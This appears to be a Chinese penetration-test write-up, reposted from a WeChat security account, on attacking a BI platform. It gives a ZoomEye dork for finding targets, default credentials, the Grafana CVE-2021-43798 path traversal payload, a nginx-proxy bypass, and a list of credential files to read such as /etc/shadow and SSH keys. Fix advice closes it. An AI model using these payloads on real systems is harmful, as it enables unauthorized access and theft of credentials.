|
|
0x01 前言
这篇文章由"潇湘信安技术交流群"@天明师傅投稿，记录的是他在公司某个安服项目中碰到了这个BI平台，机缘巧合之下发现了这个通用漏洞，特意投稿分享下经验。
0x02 渗透之旅
刚开始采用awvs、afrog和nuclei进行全量的漏洞扫描时未有任何发现，后面尝试目录探测时有了新的发现。
峰回路转之dirsearch的救赎
[] 200 - 32KB - /monitoring/[] 200 - 32KB - /monitor/[] 200 - 32KB - /monitoring[] 200 - 32KB - /monitor[] 200 - 751B - /callback
/monitoring/、/monitor/这俩路径绝对会触发302跳转，callback则是随机，可能触发跳转。
这个就是今天的主角。
正常请求BI平台：
zoomeye dork
iconhash:"dfbaaf8af7911cfb7eb068d8b19f6799"
影响范围：仅在V 7.20版本测试成功。
版本号可以根据页面当中的用户手册来判断。
思路1-默认口令
默认口令：admin admin，不知道其他目标如何，至少我碰上的目标未修改。不过即使修改了也无伤大雅，有一个文件读取漏洞等着你，可以搞到grafana的账号密码。
思路2-Grafana文件读取
最初的验证POC为：
/monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd此处利用应修改为：
/monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd注：一般情况下就成了，如果对方使用了nginx/apache反代，中间件的URI_normalization机制导致URL被标准化。此时原有payload就会失效，服务端会爆400错误。如下图所示：
# proxy_grafana.confserver {listen 8081;server_name 127.0.0.1;charset utf-8;location / {proxy_pass http://192.168.1.100:3000;}}
此时可采用bypass 400的payload进行绕过，payload为：
/monitor/public/plugins/text/
深入利用
/etc/grafana/grafana.ini/var/lib/grafana/grafana.db
/etc/grafana/grafana.ini
linux文件遍历，此处只举出比较重要的，更全面的可以参考Web-Fuzzing-Box的Linux_File.txt
/conf/defaults.ini/etc/grafana/grafana.ini/etc/passwd/etc/shadow/home/grafana/.bash_history/home/grafana/.ssh/id_rsa/root/.bash_history/root/.ssh/id_rsa/usr/local/etc/grafana/grafana.ini/var/lib/grafana/grafana.db/proc/net/fib_trie/proc/net/tcp/proc/self/cmdline
关于nginx proxy error 400相关文章可参考，这里我用的是第二篇文章里的一个payload。
https://articles.zsxq.com/id_baeb9hmiroq5.htmlhttps://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/#_Nginx_400
关于CVE-2021-43798的修复
-
升级到安全版本，即版本号>8.3.0。 -
临时防御：修改proxy_grafana的配置如下所示：
Tips：重点是proxy_pass的端口号后一定要加上/
# proxy_grafana.confserver {listen 8081;server_name 127.0.0.1;charset utf-8;location / {proxy_pass http://192.168.1.100:3000/;}}
0x03 参考文章
https://github.com/jas502n/Grafana-CVE-2021-43798https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/
关 注 有 礼
还在等什么？赶紧点击下方名片关注学习吧！
推 荐 阅 读
原文始发于微信公众号（潇湘信安）：某易BI平台渗透之旅
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论